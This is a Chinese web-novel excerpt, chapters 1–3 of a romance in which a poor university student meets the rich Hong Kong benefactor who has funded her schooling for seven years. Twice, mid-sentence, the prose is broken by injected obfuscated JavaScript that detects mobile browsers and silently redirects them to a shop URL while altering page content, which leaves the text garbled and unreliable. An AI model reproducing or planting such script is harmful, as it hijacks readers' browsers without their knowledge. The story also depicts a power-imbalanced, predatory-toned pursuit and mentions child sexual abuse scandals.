《夺橙》 1. 山顶 《夺橙》 虞灯灯/文 2026/4/08 晋江独家发表 十月的香港闷热聒噪,早上八点阳光的烘烤下,空气里彷佛淬了流火。 亚热带海洋气候让城市四季不明,绿意和鲜花永占上风。 港大太古堂宿舍楼六楼,公共厨房,电磁炉上的小锅正煮着面条,咕噜咕噜冒泡,和橙往里面加了两个鸡蛋,等鸡蛋成形,关火,从上方碗柜里拿了个碗端着锅回606。 卢琪躺在床上,拿着小风扇呼呼吹风,门从外面被打开,和橙利落地将锅和碗放在窄小的书桌。 “起来吃早餐啦。” 卢琪肠胃炎,没什么胃口,但又不能不吃,何况和橙已经煮好了。 虚弱地从床上爬起,坐在书桌前等投喂。 “好香啊。” 和橙盛了一大半面条出来,放到卢琪面前。 她有气无力地咬着面条,一边玩instagram,刷到同校女生昨晚发的动态,穿着小礼服,参加高桌晚宴,觥筹交错。 她叹息,要不是昨天突然肠胃炎,她也能参加今年的高桌晚宴,而不是让和橙代替她参加。 和橙替她参加晚宴后回来讲述细节。 她总结出几点。 ——自助餐只有牛排好吃。 ——和橙以她的名义上台演讲被晚宴的学生刁难,台下有个气质极好的白色西装绅士鼓掌解围。 ——有个叫宗生的男人请和橙喝酒,她以为又有人想要刁难她,吓得溜走。 听上去平平无奇。 卢琪还是有点遗憾。 她再次叹息,放下碗筷。 不死心地继续八卦:“昨晚帮你解围的男人到底有多帅啊!哎呀,你怎么不去当面感谢人家呢!说不定就能加上联系方式,聊着聊着就恋爱了呢!” 和橙拧眉,头也没抬,喝下最后一口汤,纠正她:“别瞎说,我有男朋友的。” “也许人家就是顺手鼓掌。” “好好好,你有男朋友,那你也可以给我留着呀!” “我感觉自己错过一个亿。” “我昨晚怎么就没爬着过去呢。” 见她还有力气哀嚎懊悔,说明肠胃炎没那么严重。 和橙笑了笑,昨晚在浅水湾礼堂,替她解围的男人坐在第一排最中间。 明明台下很多气场游刃有余的人,唯独他众星捧月般。 他不似其他人正襟危坐,叠着腿懒懒散散却不会显得没形,透出骨子里与生俱来的慵懒松弛,西装外套里棕色领带塞了一半进白衬衫里面,斯文绅士又稍带羸弱感。 长指支着额,认真聆听她的全英演讲,金丝眼镜下那双天然含春的桃花眼凝视她。 眼窝很深,浓剑眉长过眼,鼻梁高挺,抿紧的唇偏薄,整个面部轮廓偏阴柔。 长相气质优越,以至于和橙当时同他多对视了几秒才移开视线。 一阵铃声把和橙的思绪拉回来,是男朋友叶言之的视频通话。 她和叶言之虽然满打满算只交往了两个月,但两人高一就认识,叶言之还是她高中班主任的儿子,如今在仅隔一条港澳珠大桥的隔壁花城一所985大学读临床医学。 医学生的课余时间大部分被预习、复习、做实验报告占据。 而和橙才刚进入港大一个多月,也在适应环境和学习,两人平时微信聊天,分享各自生活都无法及时回复对方。 只有周末才有空视频通话。 和橙对着梳妆镜快速整理了一下仪容仪表。 视频那边光线很明亮,少年熠熠双眸和亮白的笑牙明亮动人。 “橙橙。”声音清朗愉悦,“我刚晨跑完。” “现在在食堂吃早餐,点了你爱吃的腌面,吃着面又想你了,就想打给你。” 叶言之性格一向很外放,有什么说什么,和橙了解他,最近也听过不少从他口中说出的情话,此刻,隔着屏幕还是脸红。 不好意思地瞧了眼旁边看似刷手机页面,实则竖起耳朵八卦的卢琪。 “你别那么大声,我在宿舍呢。” “这有什么?我就是很想你很想你很想你啊。”叶言之丝毫不觉得羞赧。 “再过两个星期我们就能见面了。” “你真的不用过来,来回是一笔不小的花销呢。”和橙觉得两人像现在这样微信聊天,偶尔视频就挺好的,但叶言之执意说每个月必须见面一次。 从花城过来香港,高铁来回三百多,大头在吃喝玩乐,两个人估计要上千左右,对于两个大学生来说这是一笔不小的数目。 特别是对于和橙,简直贵得要命。 叶言之家庭情况还算好,每个月家里都会给他转账打钱。 他自己也有志气,约会不想用家里的钱,找了个家庭教师的兼职,两个星期后就能收到工资。 这笔钱还没入账他已经规划好怎么使用了。 “上次说好的,每个月见面一次的。”叶言之说:“你不许扫兴。” 和橙皱眉微微叹息,妥协地好吧。 叶言之又问她,怎么还没出发去见资助人。 半个月以前,和橙给资助了自己七年的宗先生发短信,表明带了特产来香港,希望他能接受。 他一直没回复,和橙还以为自己过于冒昧。 直到昨天资助人终于回复,并解释出国没带这部手机,导致没看见消息。 给了一串简短地址。 资助人住的地方离港大很近,从学校的大学道徒步就能过去,不过要一个多小时,去中环坐15号大巴会更方便。 和橙解释:“反正距离不远,吃了午饭再过去。” 小情侣聊了十几分钟视频才挂断。 卢琪双肘撑在书桌,捧着脸颊,全然忘记自己身体不舒服,恋爱果然还是要看别人谈才有趣。 不过,她有个问题很疑惑:“你当初为什么会报香港大学啊?异地恋要四年呢。” 为什么报香港大学? 一是因为知道资助她读书的就是香港人。 二是高三上学期无意间得知港大在内地属于独立招生,不占用高考志愿名额,考虑再三发短信问资助人去香港读书怎么样,资助人花了一天时间给她理清楚香港读书的优缺点,包括港大专业的优势,还说了一句如果来香港读书,毕业后欢迎面试我公司。 她决定试试,在学校的电脑课堂上申请港大,提交一模、二模成绩和推荐信,一月受邀参加线上面试,当时正值寒假,叶言之从大学回到老家,帮她录制模拟面试的视频,提出她的表情、语速、逻辑问题,有了叶言之的一遍遍纠正,她才能面试无误。 就连面试也是去的叶言之家里,用他的电脑。 努力没白费,六月底收到港大录取通知书。 - 午餐后,和橙出发去坐15路大巴。 红色塑料袋装了两颗柚子,她食指被勒出红痕,痛得早已没了知觉。 公交越往山上开视野越清新开阔。 下午一点,阳光刺眼,空气燥热,和橙昏昏欲睡,又激动无比。 她从来没见过资助人。 7年前,她辍学在家时老师和村主任突然找上门。 耐心十足地解释有位香港好心人愿意资助她读完初中高中,直到考上大学。 像做梦一样,天降神秘资助人。 从此,她有书可以读。 这些年,资助人每个月准时给她汇学费和生活费,她也很争气,每次考试成绩都很优异。 一晃高中毕业,她成功进入港大,来到资助人生活的地方。 她再次抬头看向窗外,也许是阳光过于猛烈,无情地碎进她眼瞳,两行清泪从她面颊无声划落。 下了公交,跟着手机导航的地图走,山上信号不是特别好,她的二手手机也很卡顿,导航不灵敏,走过头十米远才听见偏航提醒。 弯曲的环山小道一步一景绿树成荫,如果不是着急找别墅,和橙真想坐下吹一吹这清嫩山风。 一路上都是零零散散的游客,终于看见某栋别墅门前的一个保安,和橙礼貌询问地址怎么走。 住在附近的人非富即贵,独栋别墅矗立在风光最好的山腰上。 她要找的住宅更是隐在绿荫最浓处,私密性很好,未请勿入。 按照保安说的路线走了十多分钟,看见一座值岗亭,路口上方高悬着一整组摄像头,冰冷威慑感十分强烈。 有辆黑车被拦截,工作人员站在车门外,跟车里的人说粤语。 和橙听不太懂,工作人员又完全挡住了驾驶座,看不见里面。 须臾,黑车掉头离开。 车牌号很有意思:LOVE YOU。 工作人员回头看见和橙,问是做什么的。 “我找宗先生。” 宗先生昨晚确实回了别墅,想找他的人多了去,每天都有不同的人以各种理由想要拜访,要是每个都放进去,别墅都站不下人,他这饭碗也早就没了。 和橙见工作人员皱眉,又有眼力见地加了一句:“我跟他约好今天见面,麻烦你通报一下。我叫和橙,是他资助的学生。” 工作人员见她态度客气,眼睛亮晶晶,不像是什么居心不良的人,便拨通内线电话。是刘家炳接的。 “炳叔,有个女孩说是宗生资助的学生,约好了今天见面。” 刘家炳看向台球室敞开的门,宗勖白和人说着什么,懒散惬意地笑,拿过已经擦了巧粉的台球杆俯身,修长手指曲起弧度,球杆贴着下颌线,慢条斯理地找角度将一杆击出。 今天家里来了几个记者和电台领导,电台领导陈北潭地位非同凡响,在香港也算是能横着走的大人物,与宗勖白父亲宗开元有交情,宗勖白视他如前辈,姿态彬彬有礼谦逊内敛。 宗勖白的特助周启云昨晚就告知他今天宗勖白的行程安排,说:“让她进来。” 进了第一道岗亭,依旧是平缓的上山路,一条宽阔私人车道两侧香樟树夹道而立,秀丽气派,鸟鸣清翠,悠然飞入树间,没有游客,安静极了。 又走了十几分钟进入第二道岗亭,这次里面的工作人员没有拦截她,还朝她点头打招呼。 入目是一片绿茵,路尽头,奶白的墙壁和墙壁茂密的常春藤相映。 楼层上方平地而起一栋现代化城堡别墅。 一扇雕花铸铁门宏伟庄严。 和橙按响了门铃,小门自动打开。 门后的路面铺着绿茵,一直沿到别墅门口,四周是几个菲佣忙碌的身影,自动浇水机孜孜不倦地工作。 脚踩在碎石铺就的小路,声音沙沙,像是有什么踩在和橙心脏,她心跳莫名异常快。 真正走到这里,她心里的贫富阶级感才浓烈起来。 资助她的宗先生是什么身份,以她的眼界来看只想到高不可攀四个字。 一楼是停车场。 和橙咋舌。 里面光是看得见的第一排就整齐划一停放着十几辆她叫不出名字的靓车。 后面还有四五排,形成方方正正的矩阵。 不同的车头立标却采用了同一种晶莹剔透的饰面。 仔细看全是用钻石做成的蝴蝶,再用小蝴蝶拼成车标。 做工繁复华丽,应该是重新私人定制的。 钻石蝴蝶很眼熟,和橙在哪里见过。她想起昨天去参加高桌晚宴,在沙滩边陌生人给她送的毛毯,上面也绣着蝴蝶。 两者似乎是同一种形态。 钻石车标壮观昂贵,两种不同款式的天使翅膀、盾牌加马、盾牌加牛、盾牌加A、双R、一座山、弦月、BUGATTI…… 光芒闪到她的眼睛。足以想象,车主的贵气嚣张。 车牌也极其亮眼。 连号对强迫症很友好。 【港·ZHB5】【港·ZHB6】【港·ZHB7】【港·ZHB8】【港·ZHB9】【港·ZHB10】 车库不像车库。 更像艺术收藏殿。 富贵迷人眼,和橙不知要怎么走时,正好与要出门迎接客人的刘家炳撞上。 他起初先是一愣,随即恢复正常,“您就是和橙小姐?” 和橙一眼认出这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17438799|201006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个礼貌的中年男人。 昨天傍晚去参加高桌晚宴,裙子被弄脏,她在浅水湾礼堂附近的海边清洗裙子。 他过来,给她送了一条羊毛毯。 解决了她的燃眉之急。 她的欣喜和惊讶溢于言表,腼腆羞涩地笑:“你好,好巧,我是和橙。没想到会在这里遇见您。” 炳叔客气地说:“叫我炳叔就行,我们确实有缘。走吧,我带你去见宗生。” 宗生。好耳熟。 昨晚有个叫宗生的请她过去喝酒,应该不是宗先生吧。 估计只是恰好同姓。 和橙又想到昨天炳叔说送毛毯是他家先生的意思。 如果炳叔在宗先生身边做事,那给她毛毯的那位先生会不会就是宗先生? “请问昨天的毛毯也是宗先生的吗?” 炳叔瞧她清澈水润的眼,温和道:“对您有用这份礼就没白送。” “有用的。” 和橙想:宗先生果然是大好人。不认识她的情况下还给她送毛毯。 刘家炳领着和橙搭乘电梯上去,楼层上方又是另一番景象,建了一栋现代化别墅,院子里尽是草绿。 进入别墅,走在光可鉴人的地板。 屋子极其亮堂,几扇巨大的落地窗一尘不染,将外面森绿景色全收眼底。 和橙感觉自己脚下都虚浮了,眼睛来不及细看也不敢细看。 她低头,洗得发白的帆布鞋在地面留下灰尘脚印。 走了那么久山路,鞋底沾的泥尘肉眼看不出什么,踩在一尘不染的地板便无处可遁。 她第一次觉得自己脏兮兮,脸蛋咻地红温,走得更加小心翼翼,往后瞧,即使轻手轻脚依旧有痕迹。 炳叔回头,见她蹑手蹑脚盯着脚下身后:“掉东西了?” 和橙抬头,又不好意思地笑了:“掉了,掉了一地的泥沙。” 炳叔觉得后生女有趣,也跟着愉悦地笑:“没事,会有人打扫。” 和橙还是感到抱歉:“给你们添麻烦了。” 穿过客厅,又走过几个小厅,还未见到人已然听见爽朗的笑声和鼓掌声。 台球室随着炳叔的出现和一句宗生,和橙小姐到了,众人的视线朝门口看来。 炳叔微微侧开身体,身后出现一个娇瘦朴素的小姑娘,肩上背着双肩包,胸前抱着的红色塑料袋里面装着两颗圆滚滚的东西,怯生生地站在那。 一双乌黑眼睛亮澄澄又拘谨。 像森林里窥探外界的小鹿。 和橙一眼望去,室内零碎地站着五个男人,不知哪个是宗先生。 掠过中间,瞳孔收缩惊讶,昨晚高桌晚宴上给她鼓掌解围的男人也在。 没想到居然能在这遇见他。 隔着人影和台球桌,目光相撞。 他没戴眼镜,眼睛里有淡淡微芒。 像猎手等到猎物。 即将拆吃入腹的隐隐兴奋。 她只匆忙扫了眼移开视线,礼貌地躬身:“大家好。” “你就是勖仔资助了7年考上港大的女学生?”陈北潭率先用港普开口:“你进的什么学院啊?大二打算主修哪科?” 港大的录取分为大类录取和专业录取。 前者是大一结束时根据成绩和兴趣选择主修。 后者是直接进入专业学习。 和橙属于后者。 她看向说话的人,老老实实地回答:“我所在的是理学院,精算学。” 陈北潭似有些惊喜:“哦?精算学?” 他以为她是文学院或者社会学院的学生,大二才开始选专业,未料人家居然是学对数学要求极高的精算学。 “精算学好啊,是港大竞争最激烈的专业之一,要求数学很好,很多女孩看到数学就头疼,你读这个专业不怕吃力吗?” 和橙从小听过太多女孩子不适合学理科,学不好数学之类的话,她很固执也很倔犟,就是要向所有人证明女生也可以学好数学。 轻声反驳道:“您对女生学数学有偏见和刻板印象,也有很多喜欢数学的女生。” 她顿了顿,稚气的脸蛋看似好声好气实则语调执拗:“我高考数学一百四。” 不仅如此,她参与过一次AMC,也取得了高分成绩。 陈北潭笑笑,也许是初生牛犊不怕虎,明明面上是很怵他却敢直面反驳他的话,对这个外表柔弱内心韧性的女孩眼里多了些欣赏。 扭头看旁边三个男生,笑着说了句粤语:“依家嘅女仔好叻啊。”(现在的女孩子好厉害。) 转而又面向宗勖白,说的普通话,好似故意说给谁听:“勖仔,你资助了一个宝藏,假以时日,必成大器。” 和橙听不懂前面那句,但听明白了后面那句,这才知道哪个是宗先生,顺着目光看向一直未出声的男人,猝不及防撞入一双漆黑如墨的眼瞳。 ———原来他就是资助人。 给她羊毛毯、晚宴帮她解围、资助她七年的都是同一个人。 和橙心脏猛烈一跳,仿佛拨开迷雾她看见了为人称道的山泉湖泊。 两者一样,冰洁又给人希望。 他似乎一直在看她。 漂亮的桃花眼含光。 他手里握着台球杆,站得笔直却不失慵懒劲,白衬衫白西裤柔软垂直地包裹单薄有型的身躯,衬衫随意地敞开了三粒纽扣,露出冷白肌肤和锋利喉结。 轻盈真丝面料贴着遒劲腰线,衣袖挽起半截,手背青筋性感又禁欲。 这是和橙见过的长得最白的男人。他的白不是阴森柔气的白,像上好的玉瓷,细腻有光泽。 很少有人能驾驭得了全白色系,须得骨架好,气质浑然天成有格调,而高雅的白色在他身上无比斯文矜贵。 即使什么话也没说,上位者的姿态从眼神和气场已然铺开,让人无法忽视。 和橙吞咽了一下喉咙,一时间居然说不出话。 他红润的薄唇衔了丝弧度,粤语嗓音低沉含沙,像雨天淅沥淅沥拍打嫩绿蕉叶,分外潮湿性感。 “带和橙小姐返客厅休息,好生招待。” 2. 常来 偌大的会客厅安静明亮,和橙一人局促地坐在柔软宽大的沙发,茶几桌面是菲佣端上来的水果糕点饮品。 很多水果她从未见过也叫不上名字。 精美的三角蛋糕像艺术品,玻璃杯里的不知名果汁颜色鲜艳。 她看了眼脚下自己拎来的东西,自家种的柚子、黄红色土里土气包装的菊花糕、盐焗鸡翅。 盐焗鸡翅是最贵的。 她平时都舍不得吃这种零食。 奶奶怕只带家里的东西太寒碜,特意去集市买的,说给人尝尝。 奶奶还想让她拎一打土鸡蛋送过来,说什么城里人都爱吃土鸡蛋,当时怕路途遥远会磕着碰着碎掉,强烈拒绝了。 两相对比,好像有些拿不出手……她脖子耳根红成透明血色。 她安慰自己礼轻情意重,宗先生什么都不缺,看上去也不是会嫌弃土特产的人。 落地窗外绿植晃动,绿荫葱葱晴空万里,远处的维多利亚港成了微缩景观。 室内开着恒温空调,她一路爬山的燥热感已经消散,泛红的肌肤也逐渐回归正常。 “和橙。” 刚刚在台球室三个没开口说话的男人出现她面前,友好地用普通话跟她打招呼。 和橙礼貌地回应他们。 他们三个当中,有两个是电视台记者,一个是杂志社的记者,都对和橙从贫困山区考上港大这事充满好奇,询问她能否讲述更多细节。 和橙听懂了他们的用意,他们想要用她小镇做题家考上港大的噱头采访写文章登报纸,电台做一期新闻报道,但她并不想把自己曝光在大众面前。 委婉拒绝。 三人面面相觑,似乎对她勇敢说不有些意外,他们印象中贫困山区出来的人不擅长拒绝,多多少少带有讨好型人格。 杂志社的林记者说:“你再考虑考虑一下?其实你拎着那么多东西过来感谢他,都是无用的,宗生什么都不缺,但你的感谢如果登了报纸,上了新闻那就不一样了。” 又是宗生。 难道香港人喜欢用生称呼男生吗?还是宗先生就叫宗生? 那昨晚请她喝酒的到底是不是宗先生? 和橙来不及细想,记者又催她回应。 她听明白了。采访她并不是重点,卖点是宗先生默默资助了她7年这件事。 她是聪明人,一点就透。 “你有关注一心慈善基金吗?宗生公司创立的慈善基金,助学机构板块最近出了点问题,或许你的出现能扭转一心风评。” 这两天,开宗集团某些高层利用一心慈善助学机构性.侵女童的事情闹得沸沸扬扬。 和橙还记得港媒的头条新闻是如何报道的。 【咸湿富商係開宗副總宗德明,人渣扮菩薩!真係人面兽心!】 【一心慈善助学机构竟成處女獵場?女學生淪明碼實價商品,慘過做「廉價雞」,慈善招牌染滿血淚,法律之網能否擒狼?】 原来一心是资助人宗先生创立的,高层性侵未成年丑闻不知真假。 那些被资助的女孩现在到底是什么情况? 想到什么,和橙目光陷入呆滞,手指不知觉地蜷缩,指尖微微发冷。 直到电视台的何记者喊了她一声,“和橙。” 和橙的思绪被喊回来,眼神聚焦。 她喉咙缺水般干枯,嗓音比之前低:“新闻是真的吗?” 如果是真的,那个人罪该万死,应该物理阉割。 “不知你问的是哪件新闻?媒体都爱添油加醋,出事的第二天,宗生就十分有魄力地把始作俑者开除了。” 这样听来,高层性侵未成年是真的,宗先生眼里见不到沙子也是真的。 想到那些未成年,和橙心脏收缩了一下,凉凉的,窒息感缠着她喉咙。 慈善基金有她帮忙,那些可怜的女孩男孩又能找谁帮助?她们以为自己遇到了命运的转机,没想到是在劫难逃。 但,宗先生确实资助了她7年。 对于他来说这也许只是一笔小小零花钱,却能让她靠知识走出大山,改变命运。 她是一个懂得知恩图报的人,如果宗先生有难,她恰好又能帮到他,她自然不会拒绝。 她脑海里快速做了一番思想斗争,最终答应他们的采访并跟他们互换联系方式。 他们要尽快回去准备采访提纲,跟和橙告别,离开别墅。 和橙想到自己做了一件对宗先生有利的事情,心情愉悦地弯起嘴角,但想到那些被性侵的孩子,笑意又僵住。 忽而眼角余光瞥道一抹白色身影,她猛然朝左看去,模糊的身影清晰起来。 极为英俊的男人鼻梁架着冰凉的金丝眼镜,透明镜片下的狭长黑眸深潭般望过来。 ——是宗先生。 他脸上多了一副金丝眼镜。 那张面孔实在赏心悦目,她一时忘了移开,呆愣地瞧着。 他姿态平稳,从容不迫地朝她走来。 她小地方长大,身边的长辈都是糙汉,同龄同学也平平无奇,从未见过有人走路如此高雅。 肩宽腿长,游刃有余,步姿惊艳。 生来就有上流阶层的优雅绅士气派。 “久等。”宗勖白说的普通话,带一点港腔,嗓音流利清冷像被冰块浸泡过,空气一瞬清醒。 跟说粤语是完全不一样的感觉。 坐得笔直拘谨的和橙听见他的声音咻地站起身,像在课堂突然被老师点名。 他被她突如其来的起身逗乐,做了个请的动作:“不用紧张,坐。没想到会那么快见面。” 在她对面坐下,长腿交叠,姿态闲散。 和橙哦了声,乖乖地坐下。第一次直面资助人,内心很紧张,对他也十分崇拜尊敬。 他看上去矜贵有礼,却丝毫没架子,平易近人。 从他口中的没想到会那么快见面,说明他也记得昨晚的事情。 “昨晚没来得及跟您说谢谢,要不是您及时解围,我还得表演呢。” 宗勖白眼尾噙了丝礼貌的淡笑,“记得我?” 和橙心想,气质容貌如此佳的男人,实属惊鸿一瞥,看一眼能记好多年。 实话实说:“见过您的人应该都很难忘记。” 宗勖白英俊的眉毛微挑,像是对她这句直白的话有点诧异,又像是很习惯这样好听的话。 唇边浮起的浅笑,很轻。吹散了港岛的闷热潮湿。 温声揶揄:“我是你的crush么?” 啊? 她听见了什么?和橙瞪圆眼睛。再怎么偏远山区,对于这种网络流行词汇还是略知一二的。 他坐姿未动,目光直白,温和,勾着人,哪怕是陌生人,也想满足他眼睛里的好奇。 她怕自己被误会成性缘脑,或者胆敢肖想他的女流氓。 急忙否认:“不是。” “您是我的贵人,是我的资助人。” 她的反应把担忧紧张暴露。 看上去是对他毫无兴趣,只是觉得他长得英俊。 宗勖白不甚在意地笑了笑,仿佛没把她的话往心里去,没再继续话题,而是询问,“怎么上来的?” “很多港大情侣都会从校园步行上山,你爬过没?” 他没再纠结crush,这让和橙松了口气。 “我没爬过,我坐15号车上来。下了车很多上坡路,但是风景很美不会觉得累。” 宗勖白似有似无地用食指点着膝盖,温柔目光咬着她的脸,十分自然地开口。 “这儿上坡路确实多,日后你过来我让炳叔去学校接。” 这句话让和橙愣了一下。 她没想过以后还会过来,除了带特产给他,她想不出有什么理由继续过来。 哪怕他吃了觉得喜欢,以后也是每个学期带一次。 偶尔坐15号公交上来,欣赏风景也挺不错。 和橙只当资助人是客气一番,“不用麻烦的,我以后也不会经常来。” 话题就这样在和橙嘴里终结似的,陷入了几秒诡异的安静。 她后知后觉这句话有歧义,宗先生会以为她嫌弃或者不想来这里。 冰冷镜片后那双黑眸平静又沉深。 就在和橙察觉尴尬想解释时,宗勖白忽而朝她笑了,狭长的桃花眼很摄人,有些浪荡公子风流松弛的雅。 让人生出哪怕掏出全部家产,也要看他多笑笑的心态。 疏远的距离拉近半分。 “无法确定的未知事,说得太绝对也是一种不负责。” 和橙并不觉得无法确定,又不好意思反驳资助人。 这里跟她的生活完全无关,如果不是来送特产,她可能都不会坐15车上来。 宗勖白视线凝在她的脸,毫不掩饰地盯着,缓缓启唇的嗓散漫温和:“这儿离港大近,以后常来。” “看风景,也看我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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高桌晚宴很无聊,无非就是听领导和业界有名人士的心灵鸡汤,直到她出现。 穿着白裙,细腰裹了一圈毛毯。黑毯压着白裙,交叠,覆盖,刺绣蝴蝶恰好停在腰侧。 脚踝处露出一截白色裙底花边,黑白层次分明,淌成浓淡皆宜的水墨画卷。 明亮地站在台上,怯怯又胆大地拿着话筒,念英文诗歌。 *“解开它/像解开/包覆着生与死的亚麻床单/又绿又红又白的黑暗中/字母的身体/蝴蝶的蛹/且将它再次裹进爱的悲伤里/像母亲一般/因为苦难是光的藏身地 但不论他以夏或冬之姿行动/渴望之物已然浮现/心想事成边化成有成。” 她的英文发音不算标准,嗓清脆温柔,怪可爱的。 能听出来诗歌是她自译,临时上台即兴表演还能做到如此程度,头脑和反应算出色。 她的双眸依旧明亮清澈,比昨日在台上更鲜活。 宗勖白启唇:“我听得明白,挺特别。” 和橙心里暖暖的,讪笑,暗暗发誓一定要练出一口纯正英伦腔。 话题落下来。 周遭又是静悄悄。 和橙垂着眸,视线落在宗勖白竹玉般的手。 昨日演讲结束,人群里面有男生起哄:“这哪里是才艺,不算不算,重新表演。” 有人带头便有人跟风:“就是咯,起码要跳舞或者唱歌吧靓女,变魔术也行啊。” “英文讲成这样也敢当才艺演讲,内地来的吗?” “内地的学生应该很多才多艺啊,再表演一个呗。” 礼堂顿时充满嬉笑和起哄,闹哄哄的。 她愣在原地,局促地捏着身侧的衣摆。 不安地四处观望,隔空和台下支着额的男人对上视线。 下一秒,他缓缓抬臂,慢条斯理地鼓掌。 掌声清晰单薄有节奏。 和橙想,自己永远会记得他的掌声。 清脆声响里,她与他的目光黏在一起,镜片下他眸光微动,镇定自如的状态与闹哄的礼堂形成鲜明对比,彷佛遗世独立的雪山。 和橙当时猜测他身份不一般,因为旁边几人见他鼓掌几乎不带犹豫也跟着附和。 掌声渐渐多了。 后面的学生见第一排的副院长和几个校领导以及贵宾都鼓掌,也不好再继续起哄,僵硬地加入鼓掌大军。 今日近距离欣赏这双手,一看就是养尊处优,出生钟鸣鼎食,所以才能带动整个礼堂的人。 忽而,这双自然垂着的,骨节分明的,布着青色血管的手,摊开,掌心纹路清晰干净。 她听见宗勖白低磁温柔的嗓,绅士贴心地问:“你看了很久,要不要摸一摸?” 3.男友 和橙局促地抬头,撞上他儒雅有礼的黑眸,他目光不轻不重,却像开水,能把人烫着。 她下意识想躲开。 但来不及。 那双眼睛已经把她整个人都装进去,越躲反而显得心虚。 她脑袋仿佛被电击,资助人的话让她感到羞愧,脸蛋咻地红温。 像丢进热锅里的鱼,不安又害怕。 意识到自己实在失礼冒犯,资助人估计以为她色胆包天,明目张胆垂涎。 然而,宗勖白温笑,微探身,绷直的双腿禁欲有劲,手肘轻撑在双膝,长臂往她的方向伸了点。 右手像是要直接握上她,却堪堪停住,徐徐引诱:“嗯?要握手么。” 他绅士又明亮,像神明,自带让人不敢高声语的氛围,高高在上,俯瞰众生,又带有人间烟火里的神性和慈悲。 哪怕知道他不会伤害她,可还是不敢靠近,怕凡俗会玷污他。 和橙攥紧拳头,没有要握上去的意思,欲言又止。 他倏尔笑了,清瘦有力的腕转了转,一只黑色表盘泛着低调银光,“抱歉,是我会错意。” “见你看了很久,以为你是想要握手。” 抱歉两个字让和橙一惊,莫名生出辜负了他好意的愧疚,后面那句话更是听得面红耳赤。 这种话如果别人说,她会觉得是在反讽或者嘲弄。 但资助人口吻真诚,似乎真的只是见她盯了很久,十分大方自然要握手。 奶奶也是这样,饭桌上多吃了一口青菜,下次又煮,多看了一眼池塘里的水鸭,以为她想吃,要去抓回来。 她有点窘迫,解释:“宗先生的手很好看。我没其他意思,只是想起昨晚你鼓掌的画面。” 得到允许和引导,她大胆地伸手,及时握住他要收回的手。 不让他的好意掉在地上。 像是抓住上天赐予她的礼物。 她握住了改变她命运的一只手。 眼眶忽而酸涩。内心五味杂陈。 一大一小两只手虚虚握住。 他的体感是微凉的,长指均匀修长,触感像羊脂玉。 比她一个女孩的手还要精致好看柔软。 和橙真怕自己有薄茧粗糙的皮肉恪着他。 而他似乎并不觉得她的薄茧粗糙,眼尾绻上一丝淡淡的笑,整个姿态轻松惬意。 薄唇喊出她的名:“和橙。” “很高兴认识你。” 他清晰低沉的咬字在阒静无声的空间有一种沉稳的力量。 坚定温柔又郑重的六个字让和橙愣了神。 在他直勾勾地注视下脸蛋灼烧,回了句:“我也是。” 平易近人的握手环节,让和橙紧绷的神经松懈。 几秒后和橙要抽回,却被他很自然地牵住食指和中指。 他垂着眸,轻轻捏着,不会让人感觉冒犯:“手指怎么有勒痕。” 是上山时拎着两颗柚子,食指指腹被塑料袋勒红了,红痕其实差不多散了,但他居然看出来了。 资助人的细心让她有些鼻酸和无所适从,抬头,腼腆地笑笑:“是刚才拎着柚子走了有点久,现在已经不痛不痒。” “介意我看看么?” 和橙愣了下,“不介意。” 宗勖白似要证实她的话,轻轻捏了捏她的食指,指腹压着指腹,一下两下三下地碰着。 亲密无间又不会让人觉得他是在占便宜。 他的指腹很软,肌肤是凉的。 和橙屏息,每当她哪里受伤,奶奶总是会这样关心她的伤势。 抬头,发现他漆黑的目光隔着透明镜片一动不动地盯着她。 “不疼?” 和橙摇头,被他捏过的食指滚烫极了,经常干农活,她的指腹粗糙带薄茧,和他的比起来像是两个极端。 她缩回手后蜷成拳,自己忍不住刮了刮指腹,一点也不光滑细腻,他估计会觉得很扎手,她有些自形惭秽。 宗勖白视线慢悠悠从她修剪干净,圆圆粉粉的手指移开,瞥她脚下摆放的两颗柚子。 “你家乡水土很好,我第一次见那么大的柠檬。” 柠檬? 和橙先是满头疑惑,然后噗嗤笑,觉得不对劲又立马收住笑容,解释: “对不起,我没有取笑您的意思。” 她抱起其中一颗柚子:“这不是柠檬,这是柚子。” 虽然外表都是黄色系,但柚子跟柠檬长相还是不一样的吧? 她不知,平日里放到宗勖白面前的水果都是去了皮切好盛在果盘,他哪里知道柚子带皮的模样。 生活常识方面是小白。 宗勖白并没认错水果的局促感。他不需要认得这些对他人生起不了作用,掀不起风浪的东西。 不动声色地瞧她粉嫩生动的脸,她在提起柚子时表情明显灵动鲜活。 他便低声重复:“柚子?” “剥开外面的皮,里面是粉色的果肉,很甜的。” 提起家乡特产和橙眼底光泽感溢出,说:“能给我一把刀吗?我开给您吃。” 在等待菲佣去厨房拿水果刀期间,和橙忐忑地拿起其他特产继续介绍。 “不知道您吃不吃鸡翅,这个盐焗鸡翅是溪州的特产,配料表很干净没有添加防腐剂。” 和橙学着集市里商贩老板的口吻介绍,不知看哪便垂着眼皮看包装袋,意外发现保质期是15天。 她脑袋空白一片,居然已经过期了。 她不敢置信地凑近再看一眼,面皮发烫,天哪,过期了。 奶奶平时买回家的盐焗鸡翅很快就能吃掉,根本不会在意保质期,而且农村人没那么讲究,不干不净吃了没病。 她不知道保质期居然那么短,奶奶塞给她后她就没打开过,老人家也没有过期概念。 她自己可以吃过期食品,但不能给资助人吃。 抬头,窘迫地说:“这个过期了,它可能因为是纯天然的,保质期比较短。我把它带回去。” 说着便把桌面的盐焗鸡翅往书包里塞。 从她着急的动作和像热虾的面色里窥见她的尴尬无措。 宗勖白提醒:“放这就行,有人收拾。” 和橙顿住了,放这肯定会被扔垃圾桶,扔垃圾桶好浪费,低声解释道: “我,我要带回学校。” 在他无声温和的注视下说:“煮面的时候放进去煮开了吃就没事。” 